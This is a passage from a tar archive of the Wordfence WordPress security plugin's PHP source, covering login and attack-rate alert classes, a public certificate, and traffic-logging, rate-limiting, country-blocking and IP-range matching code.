$this->lostPasswordUrl = $lostPasswordUrl; $this->supportUrl = $supportUrl; $this->IP = $IP; } public function send() { if (wfConfig::get('alertOn_breachLogin')) { wordfence::alert(__('User login blocked for insecure password', 'wordfence'), sprintf( /* translators: 1. WP username. 2. Reset password URL. 3. Support URL. */ __('A user with username "%1$s" tried to sign in to your WordPress site. Access was denied because the password being used exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please change or reset the password (%2$s) to reactivate this account. Learn More: %3$s', 'wordfence'), $this->username, $this->lostPasswordUrl, $this->supportUrl), $this->IP); } } } class wfIncreasedAttackRateAlert extends wfBaseAlert { private $message; /** * @param $message */ public function __construct($message) { $this->message = $message; } public function send() { wordfence::alert(__('Increased Attack Rate', 'wordfence'), $this->message, false); } } wfInaccessibleDirectoryException.php000064400000000457147206764270013767 0ustar00directory = $directory; } public function getDirectory() { return $this->directory; } }noc1.key000064400000003223147206764270006135 0ustar00-----BEGIN CERTIFICATE----- MIIErTCCAxWgAwIBAgIJAOj4d3hU6MEPMA0GCSqGSIb3DQEBCwUAMG0xCzAJBgNV BAYTAlVTMRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRIw EAYDVQQKDAlXb3JkZmVuY2UxCzAJBgNVBAsMAklUMRYwFAYDVQQDDA13b3JkZmVu Y2UuY29tMB4XDTE5MDEwOTE5MDQzMloXDTM5MDEwNDE5MDQzMlowbTELMAkGA1UE BhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxEjAQ BgNVBAoMCVdvcmRmZW5jZTELMAkGA1UECwwCSVQxFjAUBgNVBAMMDXdvcmRmZW5j ZS5jb20wggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQDBkaEjT0/Gmxi7 tl7qaX2/TiHXdP4SgqQepP/gIgKTdj71oBZzVvZPztlStQEUO1u0m6eZT3BHQPV7 inzsjz5SpCjChjH6se/DwnAJNaU7c2WUWhVATvwSX0gwDYCCbcS2IG0KUllvtWh9 8JOGG46X/51vxwR3wiJoVvziZJIs8A4n9/qYBWxL7IKAl//EGwm4SacrUVJNxAXo h3MaIJ5TlEi1xO8NQ/mUzFOJcKhNq94wcco1sffDoe4ctWxydhlpS5GCW/uGveOX ZLpwiOXVaG1HQx2YoI3Y9RK8y9eXM3IbdKwKSbV7l0TEQBuh20PLk/8DNG4Ba3Gg yFEMzPjQnyp5OzohLdm4WphRHiA631UcX7ZSrDDfET7a+YsYX2EDcnZRmO/KLkuk +yXYXRF/1bfuR5sI8l9nPakKXRlG6KbPHKdP//J0ZKVAJyZOhEXfB+X3zFyowUyh 2hjgSZuwS9DYAidNXq/hSMQLALEnwB9YFdxpxSs3sWdbKkDQGHMCAwEAAaNQME4w HQYDVR0OBBYEFNHk65/wXrYwxPt2wapRH9XU4rRjMB8GA1UdIwQYMBaAFNHk65/w XrYwxPt2wapRH9XU4rRjMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggGB AGU/5CxUCxFrVY9qoTRwsx24Prphu8H9Y/je7G+HoZJPj70Qv+8EuzxTmsAeNgG4 xcLIO1WWgAgsvb6XilEaYGO5GOCHctIMjnbauegcmkM4NMTNfzStu+v1mjV/cw/9 bzEM9Rr1Jc+mQXq8K6zXTaBXo7GU+WqTAadHhbUCWD5afQ9Kq8OCKaM4NBf2guQl PU2HQts8reYn7VeqWz063RLuRAAwf59vZbi3foqTBYSiDHjAykDe4LsvUWtS1y7t Dxyz+YSATCxpnkDWEoad+kKZ1qpgqiewp/tLnDR1LOIDmWu9KongslEHUAmAN/T1 otTWmQOeg/cnT1W/yqapxzpOmvLb28f9shMbGvmQpvle/JNVeoQyM3NF7t1rCbGT aqCI9kjWOoLd7t4svtGyR6IOKUbXqT5U9q1bMXIWH+ty8KmxzsvEBHXmYF6+jYr+ tWlXyhcN+OyPcBDHaNlFtQi+eKzjTUhSVvxJaKo3R6q4j8SVR613aa4AxunY2jdi zQ== -----END CERTIFICATE-----wfLog.php000064400000162034147206764270006360 0ustar00get_var($wpdb->prepare("SELECT COUNT(*) FROM {$table} WHERE IP = {$ipHex} AND identifier = %s AND expiration >= UNIX_TIMESTAMP()", hash('sha256', $UA, true)))) { return true; } return false; } /** * Creates a cache record for the requester to tag it as human. * * @param bool|string $IP * @param bool|string $UA * @return bool */ public static function cacheHumanRequester($IP = false, $UA = false) { global $wpdb; if ($IP === false) { $IP = wfUtils::getIP(); } if ($UA === false) { $UA = (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); } $ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($IP)); $table = wfDB::networkTable('wfLiveTrafficHuman'); if ($wpdb->get_var($wpdb->prepare("INSERT IGNORE INTO {$table} (IP, identifier, expiration) VALUES ({$ipHex}, %s, UNIX_TIMESTAMP() + 86400)", hash('sha256', $UA, true)))) { return true; } } /** * Prunes any expired records from the human cache. */ public static function trimHumanCache() { global $wpdb; $table = wfDB::networkTable('wfLiveTrafficHuman'); $wpdb->query("DELETE FROM {$table} WHERE `expiration` < UNIX_TIMESTAMP()"); } public function __construct($apiKey, $wp_version){ $this->apiKey = $apiKey; $this->wp_version = $wp_version; $this->hitsTable = wfDB::networkTable('wfHits'); $this->loginsTable = wfDB::networkTable('wfLogins'); $this->statusTable = wfDB::networkTable('wfStatus'); add_filter('determine_current_user', array($this, '_userIDDetermined'), 99, 1); } public function _userIDDetermined($userID) { //Needed because the REST API will clear the authenticated user if it fails a nonce check on the request $this->effectiveUserID = (int) $userID; return $userID; } public function initLogRequest() { if ($this->currentRequest === null) { $this->currentRequest = new wfRequestModel(); $this->currentRequest->ctime = sprintf('%.6f', microtime(true)); $this->currentRequest->statusCode = 200; $this->currentRequest->isGoogle = (wfCrawl::isGoogleCrawler() ? 1 : 0); $this->currentRequest->IP = wfUtils::inet_pton(wfUtils::getIP()); $this->currentRequest->userID = $this->getCurrentUserID(); $this->currentRequest->URL = wfUtils::getRequestedURL(); $this->currentRequest->referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); $this->currentRequest->UA = (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $this->currentRequest->jsRun = 0; add_action('wp_loaded', array($this, 'actionSetRequestJSEnabled')); add_action('init', array($this, 'actionSetRequestOnInit'), 9999); if (function_exists('register_shutdown_function')) { register_shutdown_function(array($this, 'logHit')); } } } public function actionSetRequestJSEnabled() { if (get_current_user_id() > 0) { $this->currentRequest->jsRun = true; return; } $IP = wfUtils::getIP(); $UA = $this->currentRequest->UA; $this->currentRequest->jsRun = wfLog::isHumanRequest($IP, $UA); } /** * CloudFlare's plugin changes $_SERVER['REMOTE_ADDR'] on init. */ public function actionSetRequestOnInit() { $this->currentRequest->IP = wfUtils::inet_pton(wfUtils::getIP()); $this->currentRequest->userID = $this->getCurrentUserID(); } /** * @return wfRequestModel */ public function getCurrentRequest() { return $this->currentRequest; } public function logLogin($action, $fail, $username){ if(! $username){ return; } $user = get_user_by('login', $username); $userID = 0; if($user){ $userID = $user->ID; if(! $userID){ return; } } else { $user = get_user_by('email', $username); if ($user) { $userID = $user->ID; if (!$userID) { return; } } } // change the action flag here if the user does not exist. if ($action == 'loginFailValidUsername' && $userID == 0) { $action = 'loginFailInvalidUsername'; } $hitID = 0; if ($this->currentRequest !== null) { $this->currentRequest->userID = $userID; $this->currentRequest->action = $action; $this->currentRequest->save(); $hitID = $this->currentRequest->getPrimaryKey(); } //Else userID stays 0 but we do log this even though the user doesn't exist. $ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton(wfUtils::getIP())); $this->getDB()->queryWrite("insert into " . $this->loginsTable . " (hitID, ctime, fail, action, username, userID, IP, UA) values (%d, %f, %d, '%s', '%s', %s, {$ipHex}, '%s')", $hitID, sprintf('%.6f', microtime(true)), $fail, $action, $username, $userID, (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '') ); } private function getCurrentUserID(){ if (!function_exists('get_current_user_id') || !defined('AUTH_COOKIE')) { //If pluggable.php is loaded early by some other plugin on a multisite installation, it leads to an error because AUTH_COOKIE is undefined and WP doesn't check for it first return 0; } $id = get_current_user_id(); return $id ? $id : 0; } public function logLeechAndBlock($type) { //404 or hit if (!wfRateLimit::mightRateLimit($type)) { return; } wfRateLimit::countHit($type, wfUtils::getIP()); if (wfRateLimit::globalRateLimit()->shouldEnforce($type)) { $this->takeBlockingAction('maxGlobalRequests', __("Exceeded the maximum global requests per minute for crawlers or humans.", 'wordfence')); } else if (wfRateLimit::crawlerViewsRateLimit()->shouldEnforce($type)) { $this->takeBlockingAction('maxRequestsCrawlers', __("Exceeded the maximum number of requests per minute for crawlers.", 'wordfence')); //may not exit } else if (wfRateLimit::crawler404sRateLimit()->shouldEnforce($type)) { $this->takeBlockingAction('max404Crawlers', __("Exceeded the maximum number of page not found errors per minute for a crawler.", 'wordfence')); } else if (wfRateLimit::humanViewsRateLimit()->shouldEnforce($type)) { $this->takeBlockingAction('maxRequestsHumans', __("Exceeded the maximum number of page requests per minute for humans.", 'wordfence')); } else if (wfRateLimit::human404sRateLimit()->shouldEnforce($type)) { $this->takeBlockingAction('max404Humans', __("Exceeded the maximum number of page not found errors per minute for humans.", 'wordfence')); } } public function tagRequestForBlock($reason, $wfsn = false) { if ($this->currentRequest !== null) { $this->currentRequest->statusCode = 403; $this->currentRequest->action = 'blocked:' . ($wfsn ? 'wfsn' : 'wordfence'); $this->currentRequest->actionDescription = $reason; } } public function tagRequestForLockout($reason) { if ($this->currentRequest !== null) { $this->currentRequest->statusCode = 503; $this->currentRequest->action = 'lockedOut'; $this->currentRequest->actionDescription = $reason; } } /** * @return bool|int */ public function logHit() { $liveTrafficEnabled = wfConfig::liveTrafficEnabled(); $action = $this->currentRequest->action; $logHitOK = $this->logHitOK(); if (!$logHitOK) { return false; } if (!$liveTrafficEnabled && !$action) { return false; } if ($this->currentRequest !== null) { if ($this->currentRequest->save()) { return $this->currentRequest->getPrimaryKey(); } } return false; } public function getHits($hitType /* 'hits' or 'logins' */, $type, $afterTime, $limit = 50, $IP = false){ global $wpdb; $IPSQL = ""; if($IP){ $ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($IP)); $IPSQL = " and IP={$ipHex} "; $sqlArgs = array($afterTime, $limit); } else { $sqlArgs = array($afterTime, $limit); } if($hitType == 'hits'){ $securityOnly = !wfConfig::liveTrafficEnabled(); $delayedHumanBotFiltering = false; if($type == 'hit'){ $typeSQL = " "; } else if($type == 'crawler'){ if ($securityOnly) { $typeSQL = " "; $delayedHumanBotFiltering = true; } else { $now = time(); $typeSQL = " and jsRun = 0 and {$now} - ctime > 30 "; } } else if($type == 'gCrawler'){ $typeSQL = " and isGoogle = 1 "; } else if($type == '404'){ $typeSQL = " and statusCode = 404 "; } else if($type == 'human'){ if ($securityOnly) { $typeSQL = " "; $delayedHumanBotFiltering = true; } else { $typeSQL = " and jsRun = 1 "; } } else if($type == 'ruser'){ $typeSQL = " and userID > 0 "; } else { wordfence::status(1, 'error', sprintf(/* translators: Error message. */ __("Invalid log type to wfLog: %s", 'wordfence'), $type)); return false; } array_unshift($sqlArgs, "select h.*, u.display_name from {$this->hitsTable} h LEFT JOIN {$wpdb->users} u on h.userID = u.ID where ctime > %f $IPSQL $typeSQL order by ctime desc limit %d"); $results = call_user_func_array(array($this->getDB(), 'querySelect'), $sqlArgs); if ($delayedHumanBotFiltering) { $browscap = wfBrowscap::shared(); foreach ($results as $index => $res) { if ($res['UA']) { $b = $browscap->getBrowser($res['UA']); if ($b && $b['Parent'] != 'DefaultProperties') { $jsRun = wfUtils::truthyToBoolean($res['jsRun']); if (!wfConfig::liveTrafficEnabled() && !$jsRun) { $jsRun = !(isset($b['Crawler']) && $b['Crawler']); } if ($type == 'crawler' && $jsRun || $type == 'human' && !$jsRun) { unset($results[$index]); } } } } } } else if($hitType == 'logins'){ array_unshift($sqlArgs, "select l.*, u.display_name from {$this->loginsTable} l LEFT JOIN {$wpdb->users} u on l.userID = u.ID where ctime > %f $IPSQL order by ctime desc limit %d"); $results = call_user_func_array(array($this->getDB(), 'querySelect'), $sqlArgs ); } else { wordfence::status(1, 'error', sprintf(/* translators: Error message. */ __("getHits got invalid hitType: %s", 'wordfence'), $hitType)); return false; } $this->processGetHitsResults($type, $results); return $results; } private function processActionDescription($description) { switch ($description) { case wfWAFIPBlocksController::WFWAF_BLOCK_UAREFIPRANGE: return __('UA/Hostname/Referrer/IP Range not allowed', 'wordfence'); default: return $description; } } /** * @param string $type * @param array $results * @throws Exception */ public function processGetHitsResults($type, &$results) { $serverTime = $this->getDB()->querySingle("select unix_timestamp()"); $this->resolveIPs($results); $ourURL = parse_url(site_url()); $ourHost = strtolower($ourURL['host']); $ourHost = preg_replace('/^www\./i', '', $ourHost); $browscap = wfBrowscap::shared(); $patternBlocks = wfBlock::patternBlocks(true); foreach($results as &$res){ $res['type'] = $type; $res['IP'] = wfUtils::inet_ntop($res['IP']); $res['timeAgo'] = wfUtils::makeTimeAgo($serverTime - $res['ctime']); $res['blocked'] = false; $res['rangeBlocked'] = false; $res['ipRangeID'] = -1; if (array_key_exists('actionDescription', $res)) $res['actionDescription'] = $this->processActionDescription($res['actionDescription']); $ipBlock = wfBlock::findIPBlock($res['IP']); if ($ipBlock !== false) { $res['blocked'] = true; $res['blockID'] = $ipBlock->id; } foreach ($patternBlocks as $b) { if (empty($b->ipRange)) { continue; } $range = new wfUserIPRange($b->ipRange); if ($range->isIPInRange($res['IP'])) { $res['rangeBlocked'] = true; $res['ipRangeID'] = $b->id; break; } } $res['extReferer'] = false; if(isset( $res['referer'] ) && $res['referer']){ if(wfUtils::hasXSS($res['referer'] )){ //filtering out XSS $res['referer'] = ''; } } if( isset( $res['referer'] ) && $res['referer']){ $refURL = parse_url($res['referer']); if(is_array($refURL) && isset($refURL['host']) && $refURL['host']){ $refHost = strtolower(preg_replace('/^www\./i', '', $refURL['host'])); if($refHost != $ourHost){ $res['extReferer'] = true; //now extract search terms $q = false; if(preg_match('/(?:google|bing|alltheweb|aol|ask)\./i', $refURL['host'])){ $q = 'q'; } else if(stristr($refURL['host'], 'yahoo.')){ $q = 'p'; } else if(stristr($refURL['host'], 'baidu.')){ $q = 'wd'; } if($q){ $queryVars = array(); if( isset( $refURL['query'] ) ) { parse_str($refURL['query'], $queryVars); if(isset($queryVars[$q])){ $res['searchTerms'] = urlencode($queryVars[$q]); } } } } } if($res['extReferer']){ if ( isset( $referringPage ) && stristr( $referringPage['host'], 'google.' ) ) { parse_str( $referringPage['query'], $queryVars ); // echo $queryVars['q']; // This is the search term used } } } $res['browser'] = false; if($res['UA']){ $b = $browscap->getBrowser($res['UA']); if($b && $b['Parent'] != 'DefaultProperties'){ $res['browser'] = array( 'browser' => !empty($b['Browser']) ? $b['Browser'] : "", 'version' => !empty($b['Version']) ? $b['Version'] : "", 'platform' => !empty($b['Platform']) ? $b['Platform'] : "", 'isMobile' => !empty($b['isMobileDevice']) ? $b['isMobileDevice'] : "", 'isCrawler' => !empty($b['Crawler']) ? $b['Crawler'] : "", ); if (isset($res['jsRun']) && !wfConfig::liveTrafficEnabled() && !wfUtils::truthyToBoolean($res['jsRun'])) { $res['jsRun'] = !(isset($b['Crawler']) && $b['Crawler']) ? '1' : '0'; } } else { $IP = wfUtils::getIP(); $res['browser'] = array( 'isCrawler' => !wfLog::isHumanRequest($IP, $res['UA']) ? 'true' : '' ); } } if($res['userID']){ $ud = get_userdata($res['userID']); if($ud){ $res['user'] = array( 'editLink' => wfUtils::editUserLink($res['userID']), 'display_name' => $res['display_name'], 'ID' => $res['userID'] ); } } else { $res['user'] = false; } } } public function resolveIPs(&$results){ if(sizeof($results) < 1){ return; } $IPs = array(); foreach($results as &$res){ if($res['IP']){ //Can also be zero in case of non IP events $IPs[] = $res['IP']; } } $IPLocs = wfUtils::getIPsGeo($IPs); //Creates an array with IP as key and data as value foreach($results as &$res){ $ip_printable = wfUtils::inet_ntop($res['IP']); if(isset($IPLocs[$ip_printable])){ $res['loc'] = $IPLocs[$ip_printable]; } else { $res['loc'] = false; } } } public function logHitOK(){ if (!$this->canLogHit) { return false; } if (is_admin()) { return false; } //Don't log admin pageviews if (isset($_SERVER['HTTP_USER_AGENT'])) { if (preg_match('/WordPress\/' . $this->wp_version . '/i', $_SERVER['HTTP_USER_AGENT'])) { return false; } //Ignore regular requests generated by WP UA. } $userID = get_current_user_id(); if (!$userID) { $userID = $this->effectiveUserID; } if ($userID) { $user = new WP_User($userID); if ($user && $user->exists()) { if (wfConfig::get('liveTraf_ignorePublishers') && ($user->has_cap('publish_posts') || $user->has_cap('publish_pages'))) { return false; } if (wfConfig::get('liveTraf_ignoreUsers')) { $ignored = explode(',', wfConfig::get('liveTraf_ignoreUsers')); foreach ($ignored as $entry) { if($user->user_login == $entry){ return false; } } } } } if(wfConfig::get('liveTraf_ignoreIPs')){ $IPs = explode(',', wfConfig::get('liveTraf_ignoreIPs')); $IP = wfUtils::getIP(); foreach($IPs as $ignoreIP){ if($ignoreIP == $IP){ return false; } } } if( isset($_SERVER['HTTP_USER_AGENT']) && wfConfig::get('liveTraf_ignoreUA') ){ if($_SERVER['HTTP_USER_AGENT'] == wfConfig::get('liveTraf_ignoreUA')){ return false; } } return true; } private function getDB(){ if(! $this->db){ $this->db = new wfDB(); } return $this->db; } public function firewallBadIPs() { $IP = wfUtils::getIP(); if (wfBlock::isWhitelisted($IP)) { return; } //Range and UA pattern blocking $patternBlocks = wfBlock::patternBlocks(true); $userAgent = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; foreach ($patternBlocks as $b) { if ($b->matchRequest($IP, $userAgent, $referrer) !== wfBlock::MATCH_NONE) { $b->recordBlock(); wfActivityReport::logBlockedIP($IP, null, 'advanced'); $this->currentRequest->actionDescription = __('UA/Referrer/IP Range not allowed', 'wordfence'); $this->do503(3600, __("Advanced blocking in effect.", 'wordfence')); //exits } } // Country blocking $countryBlocks = wfBlock::countryBlocks(true); foreach ($countryBlocks as $b) { $match = $b->matchRequest($IP, false, false); if ($match === wfBlock::MATCH_COUNTRY_REDIR_BYPASS) { $bypassRedirDest = wfConfig::get('cbl_bypassRedirDest', ''); $this->initLogRequest(); $this->getCurrentRequest()->actionDescription = __('redirected to bypass URL', 'wordfence'); $this->getCurrentRequest()->statusCode = 302; $this->currentRequest->action = 'cbl:redirect'; $this->logHit(); wfUtils::doNotCache(); wp_redirect($bypassRedirDest, 302); exit(); } else if ($match === wfBlock::MATCH_COUNTRY_REDIR) { $b->recordBlock(); wfConfig::inc('totalCountryBlocked'); $this->initLogRequest(); $this->getCurrentRequest()->actionDescription = sprintf(/* translators: URL */ __('blocked access via country blocking and redirected to URL (%s)', 'wordfence'), wfConfig::get('cbl_redirURL')); $this->getCurrentRequest()->statusCode = 503; if (!$this->getCurrentRequest()->action) { $this->currentRequest->action = 'blocked:wordfence'; } $this->logHit(); wfActivityReport::logBlockedIP($IP, null, 'country'); wfUtils::doNotCache(); wp_redirect(wfConfig::get('cbl_redirURL'), 302); exit(); } else if ($match !== wfBlock::MATCH_NONE) { $b->recordBlock(); $this->currentRequest->actionDescription = __('blocked access via country blocking', 'wordfence'); wfConfig::inc('totalCountryBlocked'); wfActivityReport::logBlockedIP($IP, null, 'country'); $this->do503(3600, __('Access from your area has been temporarily limited for security reasons', 'wordfence')); } } //Specific IP blocks $ipBlock = wfBlock::findIPBlock($IP); if ($ipBlock !== false) { $ipBlock->recordBlock(); $secsToGo = max(0, $ipBlock->expiration - time()); if (wfConfig::get('other_WFNet') && self::isAuthRequest()) { //It's an auth request and this IP has been blocked $this->getCurrentRequest()->action = 'blocked:wfsnrepeat'; wordfence::wfsnReportBlockedAttempt($IP, 'login'); } $reason = $ipBlock->reason; if ($ipBlock->type == wfBlock::TYPE_IP_MANUAL || $ipBlock->type == wfBlock::TYPE_IP_AUTOMATIC_PERMANENT) { $reason = __('Manual block by administrator', 'wordfence'); } $this->do503($secsToGo, $reason); //exits } } private function takeBlockingAction($configVar, $reason) { if ($this->googleSafetyCheckOK()) { $action = wfConfig::get($configVar . '_action'); if (!$action) { return; } $IP = wfUtils::getIP(); $secsToGo = 0; if ($action == 'block') { //Rate limited - block temporarily $secsToGo = wfBlock::blockDuration(); wfBlock::createRateBlock($reason, $IP, $secsToGo); wfActivityReport::logBlockedIP($IP, null, 'throttle'); $this->tagRequestForBlock($reason); $alertCallback = array(new wfBlockAlert($IP, $reason, $secsToGo), 'send'); do_action('wordfence_security_event', 'block', array( 'ip' => $IP, 'reason' => $reason, 'duration' => $secsToGo, ), $alertCallback); wordfence::status(2, 'info', sprintf(/* translators: 1. IP address. 2. Description of firewall action. */ __('Blocking IP %1$s. %2$s', 'wordfence'), $IP, $reason)); } else if ($action == 'throttle') { //Rate limited - throttle $secsToGo = wfBlock::rateLimitThrottleDuration(); wfBlock::createRateThrottle($reason, $IP, $secsToGo); wfActivityReport::logBlockedIP($IP, null, 'throttle'); do_action('wordfence_security_event', 'throttle', array( 'ip' => $IP, 'reason' => $reason, 'duration' => $secsToGo, )); wordfence::status(2, 'info', sprintf(/* translators: 1. IP address. 2. Description of firewall action. */ __('Throttling IP %1$s. %2$s', 'wordfence'), $IP, $reason)); wfConfig::inc('totalIPsThrottled'); } $this->do503($secsToGo, $reason, false); } return; } /** * Test if the current request is for wp-login.php or xmlrpc.php * * @return boolean */ private static function isAuthRequest() { if ((strpos($_SERVER['REQUEST_URI'], '/wp-login.php') !== false)) { return true; } return false; } public function do503($secsToGo, $reason, $sendEventToCentral = true){ $this->initLogRequest(); if ($sendEventToCentral) { do_action('wordfence_security_event', 'block', array( 'ip' => wfUtils::inet_ntop($this->currentRequest->IP), 'reason' => $this->currentRequest->actionDescription ? $this->currentRequest->actionDescription : $reason, 'duration' => $secsToGo, )); } $this->currentRequest->statusCode = 503; if (!$this->currentRequest->action) { $this->currentRequest->action = 'blocked:wordfence'; } if (!$this->currentRequest->actionDescription) { $this->currentRequest->actionDescription = "blocked: " . $reason; } $this->logHit(); wfConfig::inc('total503s'); wfUtils::doNotCache(); header('HTTP/1.1 503 Service Temporarily Unavailable'); header('Status: 503 Service Temporarily Unavailable'); if($secsToGo){ header('Retry-After: ' . $secsToGo); } $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require_once(dirname(__FILE__) . '/wf503.php'); exit(); } private function redirect($URL){ wfUtils::doNotCache(); wp_redirect($URL, 302); exit(); } private function googleSafetyCheckOK(){ //returns true if OK to block. Returns false if we must not block. $cacheKey = md5( (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '') . ' ' . wfUtils::getIP()); //Cache so we can call this multiple times in one request if(! isset(self::$gbSafeCache[$cacheKey])){ $nb = wfConfig::get('neverBlockBG'); if($nb == 'treatAsOtherCrawlers'){ self::$gbSafeCache[$cacheKey] = true; //OK to block because we're treating google like everyone else } else if($nb == 'neverBlockUA' || $nb == 'neverBlockVerified'){ if(wfCrawl::isGoogleCrawler()){ //Check the UA using regex if($nb == 'neverBlockVerified'){ if(wfCrawl::isVerifiedGoogleCrawler(wfUtils::getIP())){ //UA check passed, now verify using PTR if configured to self::$gbSafeCache[$cacheKey] = false; //This is a verified Google crawler, so no we can't block it } else { self::$gbSafeCache[$cacheKey] = true; //This is a crawler claiming to be Google but it did not verify } } else { //neverBlockUA self::$gbSafeCache[$cacheKey] = false; //User configured us to only do a UA check and this claims to be google so don't block } } else { self::$gbSafeCache[$cacheKey] = true; //This isn't a Google UA, so it's OK to block } } else { //error_log("Wordfence error: neverBlockBG option is not set."); self::$gbSafeCache[$cacheKey] = false; //Oops the config option is not set. This should never happen because it's set on install. So we return false to indicate it's not OK to block just for safety. } } if(! isset(self::$gbSafeCache[$cacheKey])){ //error_log("Wordfence assertion fail in googleSafetyCheckOK: cached value is not set."); return false; //for safety } return self::$gbSafeCache[$cacheKey]; //return cached value } public function addStatus($level, $type, $msg){ //$msg = '[' . sprintf('%.2f', memory_get_usage(true) / (1024 * 1024)) . '] ' . $msg; $this->getDB()->queryWrite("insert into " . $this->statusTable . " (ctime, level, type, msg) values (%s, %d, '%s', '%s')", sprintf('%.6f', microtime(true)), $level, $type, $msg); } public function getStatusEvents($lastCtime){ if($lastCtime < 1){ $lastCtime = $this->getDB()->querySingle("select ctime from " . $this->statusTable . " order by ctime desc limit 1000,1"); if(! $lastCtime){ $lastCtime = 0; } } $results = $this->getDB()->querySelect("select ctime, level, type, msg from " . $this->statusTable . " where ctime > %f order by ctime asc", $lastCtime); $timeOffset = 3600 * get_option('gmt_offset'); foreach($results as &$rec){ //$rec['timeAgo'] = wfUtils::makeTimeAgo(time() - $rec['ctime']); $rec['date'] = date('M d H:i:s', (int) $rec['ctime'] + $timeOffset); $rec['msg'] = wp_kses_data( (string) $rec['msg']); } return $results; } public function getSummaryEvents(){ $results = $this->getDB()->querySelect("select ctime, level, type, msg from " . $this->statusTable . " where level = 10 order by ctime desc limit 100"); $timeOffset = 3600 * get_option('gmt_offset'); foreach($results as &$rec){ $rec['date'] = date('M d H:i:s', (int) $rec['ctime'] + $timeOffset); if(strpos($rec['msg'], 'SUM_PREP:') === 0){ break; } } return array_reverse($results); } /** * @return string */ public function getGooglePattern() { return $this->googlePattern; } } /** * */ class wfUserIPRange { /** * @var string|null */ private $ip_string; /** * @param string|null $ip_string */ public function __construct($ip_string = null) { $this->setIPString($ip_string); } /** * Check if the supplied IP address is within the user supplied range. * * @param string $ip * @return bool */ public function isIPInRange($ip) { $ip_string = $this->getIPString(); if (strpos($ip_string, '/') !== false) { //CIDR range -- 127.0.0.1/24 return wfUtils::subnetContainsIP($ip_string, $ip); } else if (strpos($ip_string, '[') !== false) //Bracketed range -- 127.0.0.[1-100] { // IPv4 range if (strpos($ip_string, '.') !== false && strpos($ip, '.') !== false) { // IPv4-mapped-IPv6 if (preg_match('/:ffff:([^:]+)$/i', $ip_string, $matches)) { $ip_string = $matches[1]; } if (preg_match('/:ffff:([^:]+)$/i', $ip, $matches)) { $ip = $matches[1]; } // Range check if (preg_match('/\[\d+\-\d+\]/', $ip_string)) { $IPparts = explode('.', $ip); $whiteParts = explode('.', $ip_string); $mismatch = false; if (count($whiteParts) != 4 || count($IPparts) != 4) { return false; } for ($i = 0; $i <= 3; $i++) { if (preg_match('/^\[(\d+)\-(\d+)\]$/', $whiteParts[$i], $m)) { if ($IPparts[$i] < $m[1] || $IPparts[$i] > $m[2]) { $mismatch = true; } } else if ($whiteParts[$i] != $IPparts[$i]) { $mismatch = true; } } if ($mismatch === false) { return true; // Is whitelisted because we did not get a mismatch } } else if ($ip_string == $ip) { return true; } // IPv6 range } else if (strpos($ip_string, ':') !== false && strpos($ip, ':') !== false) { $ip = strtolower(wfUtils::expandIPv6Address($ip)); $ip_string = strtolower(self::expandIPv6Range($ip_string)); if (preg_match('/\[[a-f0-9]+\-[a-f0-9]+\]/i', $ip_string)) { $IPparts = explode(':', $ip); $whiteParts = explode(':', $ip_string); $mismatch = false; if (count($whiteParts) != 8 || count($IPparts) != 8) { return false; } for ($i = 0; $i <= 7; $i++) { if (preg_match('/^\[([a-f0-9]+)\-([a-f0-9]+)\]$/i', $whiteParts[$i], $m)) { $ip_group = hexdec($IPparts[$i]); $range_group_from = hexdec($m[1]); $range_group_to = hexdec($m[2]); if ($ip_group < $range_group_from || $ip_group > $range_group_to) { $mismatch = true; break; } } else if ($whiteParts[$i] != $IPparts[$i]) { $mismatch = true; break; } } if ($mismatch === false) { return true; // Is whitelisted because we did not get a mismatch } } else if ($ip_string == $ip) { return true; } } } else if (strpos($ip_string, '-') !== false) { //Linear range -- 127.0.0.1 - 127.0.1.100 list($ip1, $ip2) = explode('-', $ip_string); $ip1N = wfUtils::inet_pton($ip1); $ip2N = wfUtils::inet_pton($ip2); $ipN = wfUtils::inet_pton($ip); return (strcmp($ip1N, $ipN) <= 0 && strcmp($ip2N, $ipN) >= 0); } else { //Treat as a literal IP $ip1 = @wfUtils::inet_pton($ip_string); $ip2 = @wfUtils::inet_pton($ip); if ($ip1 !== false && $ip1 == $ip2) { return true; } } return false; } private static function repeatString($string, $count) { if ($count <= 0) return ''; return str_repeat($string, $count); } /** * Expand a compressed printable range representation of an IPv6 address. * * @todo Hook up exceptions for better error handling. * @todo Allow IPv4 mapped IPv6 addresses (::ffff:192.168.1.1). * @param string $ip_range * @return string */ public static function expandIPv6Range($ip_range) { $colon_count = substr_count($ip_range, ':'); $dbl_colon_count = substr_count($ip_range, '::'); if ($dbl_colon_count > 1) { return false; } $dbl_colon_pos = strpos($ip_range, '::'); if ($dbl_colon_pos !== false) { $ip_range = str_replace('::', self::repeatString(':0000', (($dbl_colon_pos === 0 || $dbl_colon_pos === strlen($ip_range) - 2) ? 9 : 8) - $colon_count) . ':', $ip_range); $ip_range = trim($ip_range, ':'); } $colon_count = substr_count($ip_range, ':'); if ($colon_count != 7) { return false; } $groups = explode(':', $ip_range); $expanded = ''; foreach ($groups as $group) { if (preg_match('/\[([a-f0-9]{1,4})\-([a-f0-9]{1,4})\]/i', $group, $matches)) { $expanded .= sprintf('[%s-%s]', str_pad(strtolower($matches[1]), 4, '0', STR_PAD_LEFT), str_pad(strtolower($matches[2]), 4, '0', STR_PAD_LEFT)) . ':'; } else if (preg_match('/[a-f0-9]{1,4}/i', $group)) { $expanded 